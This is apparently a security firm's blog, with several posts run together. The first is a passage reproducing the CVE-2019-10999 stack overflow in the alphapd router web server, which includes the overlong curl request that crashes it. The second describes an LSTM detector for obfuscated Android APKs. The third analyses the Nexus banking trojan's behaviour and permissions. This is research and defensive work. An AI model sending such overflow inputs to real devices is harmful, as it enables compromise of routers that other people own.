*Figure 4*


<img src="/ucenterapi/upload/file/733e4e9a1148666aacdb211be7abe126"></img>

*Figure 5*

#
```
/bin/alphapd
alphapd: Startup!
alphapd: cannot openpidfile#
```
#
Typing :"/bin/alphapd" in a newly opened filesystem terminal, starts** alphapd**, an error is returned, there was an error starting alphapd.

Searching for the corresponding error message "cannot open pid file" in alphapd, there are only two references, one in .rodata (the area where strings are stored in executables) and the other in the code snippet. Prioritize the code snippet, analyze the function (as shown in Figure 6), the if statement at line 62 indicates that when a file does not exist, it will throw an error "cannot open pid file". Click the Tab key at line 62 to switch to ASM View, and infer from the ASM decompilation aid (shown in Figure 7) that the file should be /var/run/alphapd.pid.

#

<img src="
/ucenterapi/upload/file/c71d2460c03221ae7c1347937df40447"></img>

*Figure 6*


<img src="/ucenterapi/upload/file/d03698ff87a81e6cbeee6977cfa5490d"></img>

*Figure 7*

#
Manually create "alphapd.pid" with the command shown in Figure 8. Run alphapd again, the old error has been resolved and there is a new error. Again, searching for this error, the cause was found to be a non-existent /var/run/nvramd.pid file.

#
```
#mkdir/var/run
#touch/var/run/alphapd.pid
#/bin/alphapd
alphapd: Startup!
alphapd: waiting fornvram_daemonalphapd: .alphapd: .alphapd: .alphapd: 
.alphapd: .alphapd: .alphapd: .alphapd: .alphapd: .alphapd: .alphapd: 
.alphapd: .alphapd: .alphapd: .alphapd: please executenvram_daemonfirst!#
```
#

<img src="/ucenterapi/upload/file/814d0c32ecef6c6142ce353f1ba3e842"></img>

*Figure 8*

#
Create the file "/var/run/nvramd.pid" , run alphapd again. the old error is resolved, a new one appears.

#
```
#touch/var/run/nvramd.pid
#/bin/alphapd
alphapd: Startup!
alphapd: Can't getlanipfromsysinfo!
alphapd: failed toconvert tobinaryipdataalphapd: Shutdown!
```
#
Again searching for the corresponding error, we found that nvram_bufget could not get the "IPAddress" (as shown below). nvram_bufget's function is to read the information. the simulation environment of Shambles supports to initialize the device parameter configurations from the configuration file. So we just need to do the right configuration, first check if the configuration file exists in the firmware, and if it doesn't, then we need to query the device operation parameters from the executable file. Global search for "IPAddress" keyword, there are multiple file references, because it is looking for configuration files, so first exclude executable files, sh files and cgi files, only RT2860_default_vlan this file is left, check RT2860_default_vlan, found that there are a variety of parameter configuration "IPAddress" is also among them, so RT2860_default_vlan is the probability of device parameter configuration file can be used to test it. vlan, found that there are a variety of parameter configurations, "IPAddress" is also among them, so RT2860_default_vlan is the probability of the device parameter configuration file is relatively large, you can use it to test. Luckily for us, there is more elimination work to be done when there are many search results.

The Shambles simulation environment comes with libnvram.so pre-built in the /shambles directory, which loads the device parameter information from the configuration file. Copy RT2860_default_vlan to the directory where libnvram.so is located, rename it to nvram.ini, and run alphapd again, because this time we are going to use libnvram to simulate the device information, so we need to preload libnvram.so when we run it. Enter the command "LD_PRELOAD=/shambles/libnvram.so /bin/alphapd" , the results are as follows, although there are some other errors thrown, but alphapd does not interrupt, indicating that the successful start.

#
```
#mkdir-p /shambles/libnvram
#cp /etc_ro/Wireless/RT2860AP/RT2860_default_vlan /shambles/nvram.ini
#LD_PRELOAD=/shambles/libnvram.so /bin/alphapd
nvram_get_buf:IPAddress
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = "2.65.87.200"
alphapd: Can't getlanipfromsysinfo!
alphapd: Version 2.1.8 running at address 2.65.87.200:80
nvram_get_buf:AccessControlEnable
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = "0"
nvram_get_buf: User1
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User2
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User3
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User4
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User5
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User6
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User7
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User8
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
```
#
The default web service port for general alphapd is 80 (as shown in Figure 9). set up port forwarding and visit http://127.0.0.1:80 to try it.

#

<img src="/ucenterapi/upload/file/347ff5a3347f66883007ce738cb6fffc"></img>

*Figure 9*


<img src="/ucenterapi/upload/file/cfc60da3268da192d648b8accf17d62c"></img>

*Figure 10*


<img src="/ucenterapi/upload/file/b0fb92e467a8daa971efa1b9146aa736"></img>

*Figure 11*

#
Visit http://127.0.0.1 with a browser, it shows the interface as shown in Figure 10 above, on this device, the default admin secret is empty. Click login and see the interface as shown in Figure 11 above, proving that the alphapd web service is running normally.

## 3. CVE reproduction

In the following section, we will reproduce the CVE in conjunction with our static analysis in Section 1. First, we verify that alphapd can respond to requests for wireless.htm. The method is as follows: send a request with WEPEncryption to wireless.htm, and if it returns a normal message, then alphapd can respond to the request. Enter "curl http://127.0.0.1/wireless.htm?WEPEncryption=FEWFEW" at the local command line, the return message is shown in Figure 12 , which indicates that alphapd responds to the request with WEPEncryption.

#

<img src="/ucenterapi/upload/file/2c05c5cca27ac72ca9d4f32bc605508d"></img>

*Figure 12*

#
Then verify that a web request with WEBEncryption is sent to wireless.htm by executing strcpy at sub_43b7c0+1b4. First start alphapd in debug mode. press ctrl+c in the file system terminal where you just ran alphapd to close the process. Then click on Debug Configuration in Shambles Desktop's alphapd decompile screen and configure libnvram.so as a preloaded library. (This does the same thing as running LD_PRELOAD=/shambles/libnvram.so /bin/alphapd). Start debugging, and the event log window returns the log shown in Figure 13. The log is the same as the one displayed by running alphapd from a file system terminal, proving that the debugging started properly.

#

<img src="/ucenterapi/upload/file/fa106b6f3d1ed079c1300b488678a940"></img>

*Figure 13*

#
First in the following figure marked position breakpoints (as shown in Figure breakpoint 1), send the corresponding network request, the debugging process will indeed stay in breakpoint 1, proving that sending a network request with the WEPEncryption parameter to wireless.html will be executed to strcpy.

#

<img src="/ucenterapi/upload/file/f4457bfa1047d4b9943f23be08a495b6"></img>

*Breakpoint 1*

#
Finally, we verified that when the WEPEncryption parameter is too long, it causes a stack overflow.

The verification method is as follows, send the parameter request of WEPEncryption with normal length and the parameter request of WEPEncryption with excessive length to wireless.html respectively, and compare the information in the pc register after the network request is completed. As shown in breakpoint 2 in the figure below, check whether the information in the pc register has been modified after the execution of jr. The value ra in breakpoint 2 is the jump address of the funtion sub_43b7c0 in breakpoint 1 strcpy after the execution is completed. Jr instruction will copy the value in ra to the pc register.

Finding breakpoint 2 proceeds as follows.

Place the cursor at the return of the sub_43b7c0 function (as shown in Figure 14) and press the tab key to switch to "ASM View". Find the corresponding jr instruction position. It is the breakpoint 2 shown in the figure below.

#

<img src="/ucenterapi/upload/file/29c0ce3a2044f65a338b2e79ef7c31ee"></img>

*Figure 14*


<img src="/ucenterapi/upload/file/3c2787171d1af4f7ad2dce5a6414c5d4"></img>

*Breakpoint 2*

#
**Test 1.**

Start alphapd debugging and enter "curl http://127.0.0.1/wireless.htm?WEPEncryption=ewfwefwefewf" on the local command line. The debugging process will stop at breakpoints 1 and 2, and after the execution is completed, the content of the pc register is the address of an instruction (as shown in Figure 15), and the network request will return normally.

**Test 2.**

Input "curl http://127.0.0.1/wireless.htm?WEPEncryption=ewfwefwefewffeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeefwefwefwefwefwwwwwwwwwwvvvvewfwefwefwefwefwefwefwefweffweeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" on the command line of computer terminal. The debugging process will stop back and forth at breakpoint 1 and breakpoint 2. After the execution is completed, the content in the pc register is no longer the address of a particular instruction, but has been modified to a certain memory address (as shown in Figure 16), and at this point the execution will continue, and alphapd will crash, indicating that the stack has been destroyed.

Comparison of the results of the above two tests indicates that sending a network request with the WEPEncryption parameter to will execute strcpy. this function will allow the user input variable to be copied to the stack memory. This results in the user input variable being able to arbitrarily modify the stack memory. With clever parameter construction of WEPEncryption, the attacker can execute arbitrary command attacks by modifying the pc register contents to the address of other arbitrary commands.

At this point, the reproduction of CVE-2019-10999 on Shambles is complete.

#

<img src="/ucenterapi/upload/file/4ff21d19420e6231dbf69dacf45c9f06"></img>

*Figure 15*


<img src="/ucenterapi/upload/file/a0e1ecaef826834ced80305878cae34e"></img>

*Figure 16*

CVE-2019-10999 Vulnerability Repeat on Shambles

NAND Dump Analysis, Bit Errors Fixing with ECC, UBI Image Analysis, and Firmware Extraction Demystified

# Overview

## Obfuscation in Android APKs

Obfuscation is a technique used in software development, to make the code more difficult to understand, analyze, and reverse engineer. It involves transforming code into a form that is complex and convoluted while preserving its functionality. The primary goal of obfuscation is to hinder unauthorized access to the code and protect intellectual property.

In Android APKs, several obfuscation techniques are commonly employed to protect the code and make it harder to understand or reverse engineer. Code obfuscation is one such technique that involves transforming the source code into an equivalent but more complex form, making it difficult to decipher and analyze. String encryption is another commonly used technique where sensitive strings, such as API keys or URLs, are encrypted to prevent easy extraction. Additionally, control flow obfuscation is employed to disrupt the logical flow of the code, making it challenging to follow the program's execution path and understand its functionality.

## Obfuscation Implications for Android Security

The use of obfuscation techniques increases the difficulty of security research analysis and renders some signature-based detection methods ineffective. String encryption makes it challenging to trace critical information. These measures make malware more difficult to identify and track.

## A Text Classification-Based Approach for Accurate Obfuscation Detection in Malware Analysis By LianSecurity

For these reasons, our company, Liansecurity, developed a product called Incinerator, aiming to provide efficient, precise, and automated reverse engineering service. Through extensive analysis of malware and research on previous obfuscation detection techniques, we have implemented a Text Classification-Based obfuscation detection method in our android apk reverse engineering product Incinerator. Based on our testing, our method achieves an impressive accuracy rate of 98%, which has exceeded our expectations. In the following sections, we will describe our approach in detail.

# Background

One of the state-of-art systems that detect obfuscation detection over Android applications is "AndrODet"[1] . In this work, the authors built an obfuscation detection system, extracting different features for each obfuscation type, then training an online machine learning model. The target obfuscation types and the relative F-measure achieved by AndrODet are shown below:

- Identifier Renaming: 0.92

- String Encryption: 0.79

- Control Flow Obfuscation: 0.67

## The Limitations of AndrODet in Android Context

In the context of Android, AndrODet faces certain limitations that affect its accuracy and effectiveness as a static code analysis tool. This section highlights two major issues:

### APK-based Calculation and Weakened Features

AndrODet calculates its metrics based on the entire APK, including both the core business code and the associated libraries. In the Android ecosystem, dependency libraries can be significantly large, sometimes even larger than the core business code itself. And most of the time, dependency libraries are no need to obfuscate. When relying solely on the entire APK for calculation, the presence of these large unobfuscated libraries weakens the importance of obfuscated ones , ultimately affecting the accuracy of correctness judgments made by AndrODet.

### Inability to Handle Unicode Encoding

AndrODet's method of calculating distances is limited to ASCII encoding. However, the use of Unicode encoding in obfuscation techniques has become increasingly prevalent. As a result, AndrODet can not handle and analyze code that has been obfuscated using Unicode encoding. This limitation hampers the tool's ability to accurately detect and assess the security and quality aspects of obfuscated code in real-world production scenarios.

The limitations of AndrODet pose challenges to its accuracy in the real-world production scenarios. Understanding these limitations and their impact on real production environments is essential for researchers and practitioners seeking to improve the capabilities of code analysis tools in the field of Android app security.

## An Approach We've Come Up With

Our approach focuses on addressing the challenge of identifying Identifier Renaming in code obfuscation techniques, which is the most common obfuscation technique used by malware. Our method can be expanded to cover String Encryption as well. In our research, we observed that when researchers assess whether a code snippet is obfuscated, their initial judgment relies on the comprehensibility of class names, method names, and variable names, recognizable and commonly used coding conventions, referred to as "Coding English," vs unintelligible names like 'a', 'Zb', 'c4', '1li', '0Oo', etc. Initially, we attempted algorithmic approaches to tackle this problem but found limited success. However, we had an epiphany that this is essentially a classic NLP classification problem.

By this sudden flash of inspiration, we transform the problem of obfuscation detection into a text classification problem, which is already an easily solvable task for deep neural networks. Our test results also demonstrate that this transformation was highly successful. "String Encryption" is essentially a text classification problem as well, so we believe that this approach can be easily extended to String Encryption without significant issues.

# Proposed Methodology

### Step 1: Decompilation and Smali Extraction

The first step involves decompiling the Android APK and extracting Smali code. In our implementation, we use our own decompilation engine "Reactor". Other open source tools like Androguard or Apktools are ok too. From each class, we extract class names and class variable names. These names serve as crucial features for further analysis.In theory, more features can be extracted, such as function parameter names and local variables, but they do not significantly improve accuracy because the previous three features already achieve high accuracy.

### Step 2: Creation of Training Sets

Once we have extracted the necessary information, we proceed to create two distinct training sets. The first training set comprises classes that have undergone obfuscation, labeled as 1. The second training set consists of classes that remain unobfuscated, labeled as 0. This categorization forms the basis for training our model accurately.

#
![1.PNG](/ucenterapi/upload/file/69cced54120d10664bece99613152994)
#

### Step 3: Text Classification Neural Network Training

To classify obfuscated and non-obfuscated classes effectively, we construct a Text Classification neural network. This neural network is trained using the extracted features from Step 1 and the corresponding labels from Step 2. By leveraging the power of deep learning, the network learns to differentiate between obfuscated and non-obfuscated classes based on the provided training data.

The model consists of three main layers: an Embedding layer, an LSTM layer, and a Dense layer.

1）**Embedding Layer**:

The Embedding layer converts input integer sequences into dense vector representations.

2） **LSTM Layer**:

The LSTM (Long Short-Term Memory) layer is a type of recurrent neural network (RNN) capable of processing sequential data and capturing long-term dependencies. In this model, an LSTM layer with 128 units is utilized.

3）**Dense Layer**:

The Dense layer is a fully connected layer that performs a linear transformation on the LSTM layer's output and applies an activation function. In this case, the Dense layer has one unit with a sigmoid activation function, indicating binary classification.

### Step 4: Train

We started with 1000 data samples and found that the results were already promising. As we increased the sample size to 10000, both the accuracy and validation accuracy became highly satisfactory. Ultimately, our model was trained using 100000 data samples. We attempted to augment the dataset further, but there was no significant improvement in the accuracy and validation accuracy. To avoid bias caused by data generated from a single APK, we randomly extracted several hundred APKs from the database to generate our data. From the resulting several million data samples, we randomly selected 100000 for training.

#
![2.png](/ucenterapi/upload/file/efaa70c8778716f997e4f7d12d6a31f1)

**Training results are as follows:**


Training accuracy: 99.75%

Validation accuracy: 98.50%


# Experimental Results and Analysis

In practical applications, to determine whether an APK is obfuscated, we use a method that involves checking each class within the APK for obfuscation. By dividing the number of obfuscated classes by the total number of classes, we can calculate the proportion of obfuscated code in the APK. Although this approach may result in false positives or false negatives when dealing with classes that are minimally obfuscated due to technical reasons or are difficult to determine as obfuscated based on their naming conventions, it is highly unlikely to make errors when determining whether an APK exhibits obfuscation behavior. This is because a properly obfuscated APK ensures that all obfuscated classes do not resemble code written in normal, understandable English. If they did, it would defeat the purpose of obfuscation. Therefore, our model achieves an accuracy rate of nearly 100% when determining the presence of obfuscation in an APK.

After the first round of training, we obtained 1000 APKs from both Fdroid and Abuse for verification testing. Fdroid represents benign APKs, while Abuse represents malware APKs. During the testing phase, we observed a high number of false positives, primarily targeting very short internal classes, such as 'Class: MainActivity ExternalSyntheticLambda15; Method: <init> run Field: f$0 f$1 f$2'. To address this issue, we extracted 3000 data samples from the false positive APKs and added them to the training set. After retraining, we significantly reduced the false positive rate.

Below are 100[2] randomly selected test samples. Since our validation accuracy is about 98%, cases with a confusion coverage rate of 1% and 2% should be considered as non-obfuscated. The remaining 4% (md5: 8328cd96c931d06d25f67d42a50fd20d) is a false positive, but due to the minimal number of classes in this APK, three false positive data instances resulted in this error. The other 5% (md5:923df6854199e999fdd274729b28a1ad) and 7% (md5:71e293f29e636112e0a00ebac8cf3eb8) cases represent genuine instances of obfuscation. Hence, this model demonstrates an accuracy rate close to 100% in identifying obfuscation, even in cases with a minimal level of obfuscation in the APK.

In our training dataset, we did not encounter any samples with Unicode obfuscation. However, during testing, such cases are still recognized as obfuscated because the model has excellent recognition capabilities for non-obfuscated text. Therefore, even if there are other obfuscation patterns that were not present in the training samples, the model is still able to identify them.

#
<style>
table {
margin:auto;
width: 100%;
}
</style>
|APK	 |APK Md5	|Obfuscation Coverage|
| ----------- | ---------- | ---------- | 
|et.nWifiManager.apk|	11c43f6d781457352e5e61e725998ea8|	0%|
|jackpal.androidterm.apk|	8bbc3d9173e6d6b19e561a8651e83731	|0%|
|com.boombuler.widgets.contacts.apk|	8328cd96c931d06d25f67d42a50fd20d	|4%|
|cz.jirkovsky.lukas.chmupocasi.apk|	86f763c8cf4530e1c46c75d26374855a	|99%|
|com.example.poleidoscope.apk|	08cf9be157669f3e0f7dd88975fdc22c	|1%|
|dufmvh.frdnoj.oggtsh.apk|	cf2f9963933457dcdd1f28fec054cd07	|56%|
|ua.com.radiokot.lnaddr2invoice.apk|	c1ade85027c6178e43daac2e957ba9b1	|96%|
|org.openbmap.unifiedNlp.apk|	79ce98b9d38490625ad15f5948afe32f	|0%|
|com.dekics.chat.message.apk|	dc84f225fdb1c21071ee70d43af39224	|50%|
|org.getdisconnected.libreipsum.apk|	a394d3131303bd24bdcddc7e0a507f0d	|1%|
|com.pnr.engproverbsandsayings.apk|	1d28e138a9ecf1c9b3240868879bbd54	|10%|
|org.ligi.blexplorer.apk|	49619da57858ffdd6bd55bb5b962efe3	|1%|
|net.osmand.srtmPlugin.paid.apk|	c7dd9b418933ceea723527487bd94268	|1%|
|org.broeuschmeul.android.gps.bluetooth.provider.apk|	cf1d9aa2d5eec5a8e0af76d9708a8da0	|0%|
|com.intense.pub1.sbgs.apk|	e272df5c9abd7d4c03982bb506922428	|15%|
tgr.kitach.messenger.apk|	cd4acd78cf29adf56837e944c0ea3791	|50%|
|com.github.lamarios.clipious.apk|	0e728b50b101456d74329f97552ea2db	|94%|
|com.ctbcad.cnove01.apk|	782216c3d9db96da2ef0285daddbdcdb	|0%|
|in.ac.iitb.cse.cartsbusboarding.apk|	ee83d9a3c3fcffbd833f1b73d28d28cd	|2%|
|de.reimardoeffinger.quickdic.apk|	8e5e7cc0e581fac6c5d83802dadc0095	|98%|
|com.fastcleaner.forphoneandroid.freenoads.apk|	c31ca58e67d55bb20a06e0f986cf04c1	|92%|
|com.gh4a.apk	22556b8c3b0f4196b0db777d64cac5ee	|1%|
|nznm.qfvxs.apk	|a827ee829d6067eda9c19f1dee15b9af	|1%|
|com.freezingwind.animereleasenotifier.apk|	c0786ccbcfe7cb57f82f36a66040d452	|1%|
|ogjp.otmyswhz.apk|	ef3c97b748088019dc986dce53ae0755	|1%|
|com.scare.obscure.apk|	b11e72c94d810958df65d8716d853bc3	|46%|
|org.smc.inputmethod.indic.apk|	c9eeb111666c723e3a4f78e2e11ab10d	|1%|
|com.blame.annual.apk|	376fc34c1eb64a348311156b1f22763e	|45%|
|org.xapek.andiodine.apk|	923df6854199e999fdd274729b28a1ad	|5%|
|ir.PluTus.pluto.apk	|dc9f73c8ec88a8b493a15a3cbcb36f15	|33%|
|org.sufficientlysecure.viewer.apk|	dcb35395a9a3fa0aea0bd9c876c4fadc	|1%|
|ir.shz.shzkisi.apk	|7ec247424733c287c3322fc49f1a7766	|33%|
|com.mimic.left.apk|	4076db4387eb8ddf8f2010e3db8c8b07	|59%|
|com.igllc.reign.apk|	bb78d33aac9b1c0c741b9e66d1ad9710	|96%|
|org.tuxpaint.apk|	5f1d4d542004efd946a40a26166aed00	|1%|
|Adliran.ir.apk	|3c0cccf2790ba49a122d0235225dbceb	|26%|
|com.believe.blouse.apk|	768ec2246d2c92330ba8fafe6513963e	|5%|
|Rahbar.Api.apk	|2f1570b5b5723d3f4ddd615905e8c08f	|27%|
|net.everythingandroid.smspopup.apk|	1e5d955dabdd0ee548054c8cdc223653	|1%|
|com.cointrend.apk|	cb3726beeb870d96e2dd458da66af96b	|97%|
|com.junjunguo.pocketmaps.apk|	0be11a3a032b35e2ce8021d32780cf32	|21%|
|com.kabood.koroshkabir.apk|	6129cc4392d2e10ffdb80db67ca2534b	|24%|
|site.leos.setter.apk	|2f03d669939c74b508a3959838fbba4c	|94%|
|jp.co.qsdn.android.jinbei3d.apk|	f25da1334e4db5d6c14c2361ba4defa8	|1%|
|ir.game.co.apk	|9849247aef1aa1ae82c4dc06a638f29d	|1%|
|fr.xgouchet.texteditor.apk|	a3f79b347a1c06140697326acb04581a	|1%|
|org.smssecure.smssecure.apk|	a6dcb00ee7482256f8070b2d2eb23f62	|2%|
|com.ebaschiera.triplecamel.apk|	d36cd1850f8dfec7298c08e8eed3f997	|1%|
|org.y20k.trackbook.apk|	d4054bf60b2fbcfc152b32397cb861b0	|97%|
|com.comfort.digital.apk	|a32c36009a37893be90e4f385b26b5ee	|35%|
|com.kylecorry.trail_sense.apk|	42501430e5b199df00f0068b3bd59db4	|92%|
|com.helphomestickers.heartcarejingchat.apk|	fec9d39eb80814e1eec29e52e0fede2d	|50%|
|de.markusfisch.android.pielauncher.apk|	d0cf7f183b84ff040f237da0d7e89c58	|90%|
|org.xcsoar.apk	|35923a4197bcd2efd8d22a167af3f028	|1%|
|com.takela.message.apk|	55774d1c8251ee3c12ce08af65000bd7	|16%|
|tech.bogomolov.incomingsmsgateway.apk|	85d0288b9b04c7d71bfd8185a916490b	|1%|
|com.rmowa.wpamz.apk	|23e49cc28a5feeed4b9e362aa43e158a	|65%|
|piste.security.path.vf.apk|	95d33595783ede50bd428a18823ca0a9	|20%|
|de.rwth_aachen.phyphox.apk|	0a3fa3b09980e629c6a983a2c33d0400	|1%|
|com.brief.blouse.apk|	be9d61e3363c3399b55a44895fd1cf60	|47%|
|xjl.lrl.jzk.xkbnif.apk	|f140ec3c051717491aac1a477c0f453a	|44%|
|net.goroid.maya.apk|	9b1de8718bb348e74ecde66dfa7332a8	|19%|
|eu.polarclock.apk	|c3c6f8ba040f1715d32ac7563d7d9b0c	|33%|
|tube.chikichiki.sako.apk|	d79144a6e4aad73e78bc25af25e8f8d1	|1%|
|org.dyndns.fules.ck.apk	|7c1e243288ff30b602976d2ce634b0f3	|0%|
|com.nima.demomusix.apk	93a79a8f1b2ad1eb2b670782e571107d	|1%|
|aps.js.piste.asd.apk	b1e0ad60b4113ecfdf74e930848dcab4	|21%|
|com.tutpro.baresip.apk	|702d0800421413f73f0f3d65a577986e	|1%|
|iroj.jnafjk.apk	d0118fe80f1af4cf2fad4579fa7f8741	|1%|
|de.monocles.mail.apk	|21ce417bd40a12c2333ab505a0095891	|1%|
|com.example.myapplication.apk	|52a5b10ae074459fbbeb1a0e8c297eac	|1%|
|com.piolang.transltor.voice.apk	|c4c0982149feaf5266d6b2a9c4634858	|84%|
|net.sourceforge.kid3.apk	|7bff47951d893d50b7bf1bb151225006	|1%|
|com.burtonben.goodlauncher.apk	|d7ffbdf8e491f0c3e53901cf830f10b2	|9%|
|com.howwatchfunsms.locktextmessage.apk	|d59b366ab1870d17f9abdd4824461327	|0%|
|free.vpn.unblock.proxy.turbovpn.apk	|1fd53adfc1ff5f6262567592dfc88fd4	|70%|
|com.yshlhh.com.apk	|f0c84c3ffcc77a88ce344e7f632afb2d	|67%|
|com.feis.bphealthy.blood.apk	|6e05b674fb8725a4f1faae9d39be1b94	|14%|
|org.servalproject.apk	|8b2df68517574eb0c7d1b42858403695	|1%|
|plus.H59300BC9.apk	|889e1c52bdebe6e1ae952bcc38b5daf1	|11%|
|mon.suxzgi.apk	|b48f43a3c6b7c4ef07b7f87b62f64d61	|1%|
|com.seleuco.easshs.apk	|013a0f9ddc9db42f06ae2cd1b6228c8f	|31%|
|com.vicman.toonmeapp.apk	|f724e92bdf978fb3bbdac308d4ba800c	|73%|
|com.hugo.apk	|6320c822ba4ce417ffb82746dbf6f6f8	|27%|
|org.segin.bfinterpreter.apk	|69d3cd2ef0e619193f145c89b22ce920	|1%|
|de.jonasbernard.tudarmstadtmoodlewrapper.apk|	29bf40b35ce52d6e44c61304fdd8561a	|1%|
|com.belt.space.apk	|71e293f29e636112e0a00ebac8cf3eb8	|7%|
|center.bestlinks.samuraivpn.apk	|f6e5f704bf5910b4d0aff44df2a77a8b	|91%|
|com.dev.xavier.tempusromanum.apk	|1d51ef04566cc66661358f7708c0a9d3	|1%|
|com.zanghh.pdfreader.apk	|e9133a533614dafee5780d50b29484c3	|91%|
|org.avmedia.gshockGoogleSync.apk	|f942cf3de1107400be084ddd596016d9	|1%|
|com.github.igrmk.smsq.apk	|72dfae851b1c93838094fe3b059ac5b1	|1%|
|com.ljechbei.apk	|87118a9b63adebe8ad642509ff76818b|	16%|
|org.courville.nova.apk	|7041af61162329c4e2022d82939a2d2d	|1%|
|com.cliambrown.easynoise.apk	|8755ffdd6fe155593af77536bc8d1da1	|1%|
|net.mullvad.mullvadvpn.apk	|956659e2df6362a79e110fac0fda3534|	65%|
|nl.eduvpn.app.apk	|aa2099699b3c8b68aa33925899ad9e84	|96%|
|com.cheogram.android.apk	|4987ea46c3679a191434c1546231bade	|1%|
|io.pslab.apk	|37f9a2a3e4c906bf2cc3c14895620b1e	|1%|
|ru.yanus171.feedexfork.apk	|742aebc4c88564678e78276dbf29e935	|1%|

# Limitations and Future Directions

Our current model can not solve the issue of Control Flow Obfuscation, and the results from AndrODet are also not satisfactory in this aspect. In the future, we will conduct research on models specifically designed for Code Recognition to address this problem。

Compared to AndrODet, our model takes relatively more time to determine whether an APK is obfuscated because it needs to evaluate each class individually. Although batch processing is possible, an APK may contain thousands or even tens of thousands of classes. However, in a production environment, this is acceptable since analyzing an APK involves various aspects such as static analysis, dynamic analysis, which take longer to perform. Therefore, in our product, the waiting time for obfuscation detection is reasonable. Additionally, this time can also be mitigated through parallel processing.

# Conclusion

We have proposed a text classification-based approach to detect whether an APK is obfuscated. This method has not been previously applied in existing research and can be extended to obfuscation detection in other software as well as String Encryption detection. Furthermore, we suggest that the detection of obfuscation in an APK should be performed at the class level, which results in an accuracy rate of nearly 100%.

We have already implemented this method in a production environment.

# Appendix

[1].[https://0m1d.com/software/AndrODet](https://0m1d.com/software/AndrODet)

[2]. [https://drive.google.com/file/d/1OYYegY7MP7nGgfMORz_M7L4c3QFEjJW0/view?usp=sharing](https://drive.google.com/file/d/1OYYegY7MP7nGgfMORz_M7L4c3QFEjJW0/view?usp=sharing)

Implementation of obfuscation detection by Text Classification

## Overview
On the evening of March 21, 2023, a novel Android Trojan was detected by the monitoring system jointly developed by LianSecurity and Zhongrui Tianxia. After capturing samples through the RuiShi sandbox system, it was determined that this Android Trojan is highly likely to be a variant of the original Android banking Trojan, SOVA. Concurrently, the Italian security company Cleafy published a report titled "Nexus: A New Android Botnet?", confirming that the virus is indeed a variant of SOVA and renaming it as Nexus.

## Sample Analysis

- **Sample Name:** Chrome.apk
- **Sample SHA256:** 376d13affcbfc5d5358d39aba16b814f711f2e81632059a4bce5af060e038ea4
- **Sample File Size:** 4,792,032 KB

# Main Behavior List

- Delete specified applications and their data
- Install and launch arbitrary applications
- Hide its own app icon
- Uninstall protection
- Upload user SMS data and contact list
- Use SmsManager to send, delete, and cancel SMS notifications
- Make phone calls
- Retrieve and upload user cookie information, inject cookies, etc.
- Read and upload digital wallet information
- Record and upload keyboard input logs
- Query sensitive mobile data (such as stored emails, app account data, IMSI, and other phone information)
- Set device to silent mode
- Unlock screen
- Access specified URLs
- Attempt to disable administrator user
- Enable accessibility features
- Monitor phone reboot events
- Use DownloadManager to download files

# Installation Test
Upon the Trojan's installation, a Chrome browser-like icon appears on the main screen of the mobile device, with slight differences from the actual Chrome icon. The Trojan's icon is smaller, but it is challenging to recognize this difference without a side-by-side comparison.

#

<img src="/ucenterapi/upload/file/69d9616750171614f126e8e9498235a4"width="300" height=""></img>

#
Once the Trojan is launched, the interface prompts the user to enable "Accessibility Features." When the user clicks anywhere on the interface, it automatically redirects to the system's "Accessibility Features" settings and enables this feature.

<div style="float:left;margin:25px;width:300px">
<img src="/ucenterapi/upload/file/10a1d3afc065dcf58d1c285087e322af"></img>
</div>
<div style="float:right;margin:25px;width:300px">
<img src="/ucenterapi/upload/file/b6641978d55f88c02f205c0ef84690d5"></img>
</div>

<div style="float:none;clear:both;">After enabling the "Accessibility Features," the program automatically pops up and requests to obtain "Device Administrator Privileges."
</div>

#

<img src="/ucenterapi/upload/file/1d918d48ba6f9bf9aa3db5ed431d34f4" width="300" height=""></img>

#
Once the malicious app gains device administrator privileges, it continuously collects user information in the background, making it difficult for users to detect its presence. Once the device administrator privileges are granted, users attempting to access the device administrator settings interface will find it quickly closes, making it impossible to revoke the permissions. Similarly, when performing operations through adb, the same issue occurs, and the interface instantly closes. This is because the malicious app has already monitored the opening action of the device administrator settings interface, preventing users from revoking its privileges. As a result, users need to enable root access to successfully uninstall this malicious app.

#
```
adb shell am start -S "com.android.settings/.Settings\$DeviceAdminSettingsActivity"
```

# In-depth Sample Analysis
## Basic Information


<img src="/ucenterapi/upload/file/51b1a47dd6c174574860ccaee4c69f7e"></img>


<img src="/ucenterapi/upload/file/9eeec3cfd4ba76d6a0a44345c44b58c3"></img>

#
Before manually analyzing with Incinerator, through the "Basic Analysis" module, we discovered that the sample program has an encrypted shell. This implies that the malicious app's developer used an encryption method to protect their code, preventing analysis and reverse engineering. Simultaneously, we noticed that the signature information used "CN=Android Debug," which is inconsistent with a regular Chrome certificate. This might suggest that the malicious app's developer is attempting to disguise as a normal Chrome app, making it easier to deceive users and gain their trust.

Thanks to Incinerator's Apk permission analysis capabilities, we can obtain the corresponding permissions list in the Apk's detailed information.
#

<img src="/ucenterapi/upload/file/8c614ba30c47a1965016569dda4e6884"></img>


<img src="/ucenterapi/upload/file/2810336370326fca50ecb1adf6578306"></img>

#
In the app's permissions list, 13 of the permissions obtained by the sample are classified as "dangerous." Among them, a few permissions are particularly hazardous:

- Send SMS (SEND_SMS)
- Read SMS (READ_SMS)
- Receive SMS (RECEIVE_SMS)
- Read contacts (READ_CONTACTS)
- Write contacts (WRITE_CONTACTS)
- Read phone numbers (READ_PHONE_NUMBER)

Typically, common apps do not request permissions involving sensitive operations, such as modifying the contact list, reading, and sending text messages. These permissions are usually reserved for specialized communication software. However, when a malicious app obtains accessibility permissions, it can leverage this feature to automatically enable other permissions, including those that pose potential threats to user privacy and security.

